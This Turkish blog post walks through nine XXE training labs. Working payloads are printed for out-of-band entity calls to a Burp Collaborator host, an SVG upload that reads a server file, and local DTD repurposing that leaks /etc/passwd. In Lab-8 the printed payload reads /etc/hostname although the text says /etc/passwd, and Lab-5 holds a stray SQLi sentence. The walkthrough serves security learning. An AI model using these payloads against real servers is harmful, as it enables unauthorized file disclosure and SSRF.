4 minute read

XML external entity injection, saldırganın XML verileri üzerinde manipülasyonlar gerçekleştirerek işlemesine izin veren bir güvenlik zafiyetidir. Genellikle saldırganın, sunucu üzerinde dosya okumasına veya sunucunun ulaşacabileceği başka bir arka uç ve harici sistemlerle etileşime girmesine neden olur.

Lab 1 Lab 2 Lab 3 Lab 4 Lab 5 Lab 6 Lab 7 Lab 8 Lab 9

Lab-1 Exploiting XXE using external entities to retrieve files

Bu laboratuvarda, XML parse eden ve beklenmedik yanıtlar döndüren “Check Stock” fonksiyonu bulunmaktadır. Lab’ın tamamlanması için XXE saldırısı gerçekleştirerek /etc/passwd dosyasının okunması gerekmektedir.

Check Stok fonksiyonu sunucuya XML göndererek sunucudan stok bilgisi almaktadır.

image-center

Eğer bir entity ayarlayarak /etc/passwd dosyasını okumasını istersek sunucu istenen dosyayı okuyarak ekrana hata mesajı olarak yansıtmaktadır.

image-center

image-center

Lab-2 Exploiting XXE to perform SSRF attacks

Bu laboratuvardaki “Check stock” fonksiyonu XML inputlarını parse etmektedir ve beklenmedik değerler döndürebilmektedir. Lab’ın tamamlanabilmesi için lab’ın üzerinde simüle edildiği EC2 metadata endpointinden (http:// 169.254.169.254/) hassas veriler elde edilmelidir.

Check Stock requestini yakalayıp ilgili endpointe request gönderdiğimizde hata mesajı olarak orda bulunan dosyanın ismi dönmektedir. /lastest/meta-data/… gibi teker teker response’da görüntülenen dosyaları okuduğumzda aranan veri bulunmaktadır.

image-center

image-center

image-center

Lab-3 Blind XXE with out-of-band interaction

Bu laboratuvardaki “Check Stock” fonksiyonu XML inputları parse etmektedir fakat herhangi bir sonuç döndürmemektedir. Lab’ın tamamlanması için dış bir kaynağa HTTP veya DNS lookup requesti gönderilmelidir.

Aşağıdaki XML payload sunucuya gönderildiğinde collaborator sunucusunda bir HTTP veya DNS requesti görüntülemeyi hedeflenmektedir. Çünkü uygulama üzerinde herhangi bir dönüş alınmamaktadır.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://2x086ijwhvxy4tttsqwgmldp1g7bv0.burpcollaborator.net"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

image-center

Aşağıdaki isteklerin görüntülenmesi hedef uygulama tarafında XML payload’ı ile dış bir kaynağa istek atabildiğimizin kanıtı olmaktadır.

image-center

image-center

Lab-4 Blind XXE with out-of-band interaction via XML parameter entities

Bu laboratuvardaki “Check Stock” fonksiyonu XML girdilerini parse etmektedir fakat herhangi bir beklenmedik veriyi göstermemektedir ve iç ağa yapılan istekleri engellemektedir. Lab’ın tamamlanması için dış bir ağa DNS lookup ve HTTP requestleri gönderilmelidir.

External entity tanımını XML ile stockCheck elementi arasına eklenmektedir. Çünkü uygulama XML giriş değerlerini filtrelemektedir. Bu durumlarda XML parametre entity’ler kullanılmaktadır.

image-center

image-center

image-center

Lab-5 Exploiting blind XXE to exfiltrate data using a malicious external DTDs

Bu laboratuvardaki “Check stock” fonksiyonu XML parse etmektedir fakat herhangi bir sonuç göstermemektedir. Lab’ın tamamlanması için /etc/hostname dosyasının içerisindeki bilgiler exfiltrate edilmelidir.

Aşağıdaki payload hedef sistemdeki hostname değerlerini alıp daha sonra burpcollaborator’e göndermeye yaramaktadır.

image-center

Check stock requesti manipüle edilerek exploit sunucusuna yerleştirdiğimiz XML dosyasını okuması için exploit sunucusuna istekte bulunmaya yarayan başka bir XML payload gönderilmektedir.

image-center

Uygulama yukarıdaki requesti aldıktan sonra exploit sunucusundaki XML’i okuyacaktır. Exploit server’daki payload ise hostname verisini okuyup burpcollaborator’e istek olarak göndermeye yaramaktadır.

Akıllarda neden fazla uğraş yapıyoruz neden direkt Check Stock requesti üzerinden bu işlemi yapmıyoruz gibi bir soru gelirse eğer cevabı aşağıdaki görselde de gösterildiği üzere eval ve exfil gibi entity’lerin engellenmesinden kaynaklı olacaktır.

image-center

Açıklama kısmında bize verilen bilgileri kullanarak users tablosundaki username ve password bilgileri tespit edilen SQLi zafiyeti ile elde edilmektedir.

image-center

Daha sonrasında collaborator’a baktığımızda /?x= değeri olarak hostname dosyasının içeriği görüntülenmektedir.

image-center

Lab-6 Exploiting blind XXE to retrieve data via error messages

Bu laboratuvardaki “Check Stock” fonksiyonu XML parse etmektedir fakat herhangi bir sonuç döndürmemektedir. Lab’ın tamamlanması için /etc/passwd dosyasının içeriğini görünteleyen bir hata mesajını tetiklemek için harici bir DTD kullanılmalıdır.

Exploit sunucusuna /etc/passwd dosyasını okuyup daha sonra hata mesajının içerisinde gösterecek bir DTD payload yazılmaktadır.

image-center

Daha sonrasında Check Stock requesti üzerinde oynama yapılarak exploit sunucusu üzerindeki payload’a gidecek bir başka payload yazılmaktadır.

image-center

Uygulama exploit sunucusundaki paylado gerçekleştirdiğinde hedef sistemdeki /etc/passwd dosyasını hata mesajının içerisinde yansıtmaktadır.

image-center

image-center

Lab-7 Exploiting XInclude to retrieve files

Bu laboratuvardaki “Check Stock” fonksiyonu kullanıcı girdisini daha sonra parse edecek bir sunucu tarafı XML belgesi yerleştirmektedir. Çünkü XML belgesinin tamamını kontrol etmediğimiz için klasik bir XXE saldırısı başlatmak için bir DTD tanımlanamaz. Lab’ın tamamlanması için XInclude ifadesi enjekte ederek /etc/passwd dosyası ele geçirilmelidir.

Bazı uygulamalar istemci tarafından aldıkları veriyi sunucu tarafında XML formatına çevirmektedir. Durum böyle olunca ilk başta XML kullanılıp kullanılmadığı kolayca anlaşılamamaktadır. Bu tip durumlarda input kısmına XInclude enjekte ederek hedeflenen /etc/passwd dosyası görüntülenebilir.

image-center

image-center

Lab-8 Exploiting XXE via image file upload

Bu laboratuvar, kullanıcıların yorumlara avatar eklemesine olanak tanır ve avatar görüntü dosyalarını işlemek için Apache Batik kütüphanesini kullanır. Lab’ın tamamlanması için /etc/passwd dosyasını görüntüleyen bir avatar enjekte edilmelidir.

İçerisinde aşağıdaki payload’u barındıran bir svg dosyası oluşturulmaktadır.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

image-center

Oluşturulan svg dosyası yorum yaparken avatar ekleme kısmından enjekte edilmektedir.

image-center

image-center

Daha sonrasında avatara bakıldığında /etc/passwd dosyasının içeriği görüntülenmektedir.

image-center

image-center

Lab-9 Exploiting XXE to retrieve data by repurposing a local DTD

Bu laboratuvardaki “Check Stock” fonksiyonu XML inputlarını parse etmektedir fakat herhangi bir sonuç göstermemektedir. Lab’ın tamamlanması için /etc/passwd dosyasının içeriğini gösteren bir hata mesajı tetiklenmelidir.

GNOME masaüstü ortamı kullanan sistemlerde genellikle /usr/share/yelp/dtd/docbookx.dtd adtesinde ISOamso adında bir entity içeren DTD bulunmaktadır.

Aşağıdaki payload Yelp DTD’yi içe aktaracak ardından ISOamso entity’yi yeniden tanımlayarak /etc/passwd dosyasını içeren bir hata mesajı üretecektir.

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

image-center

image-center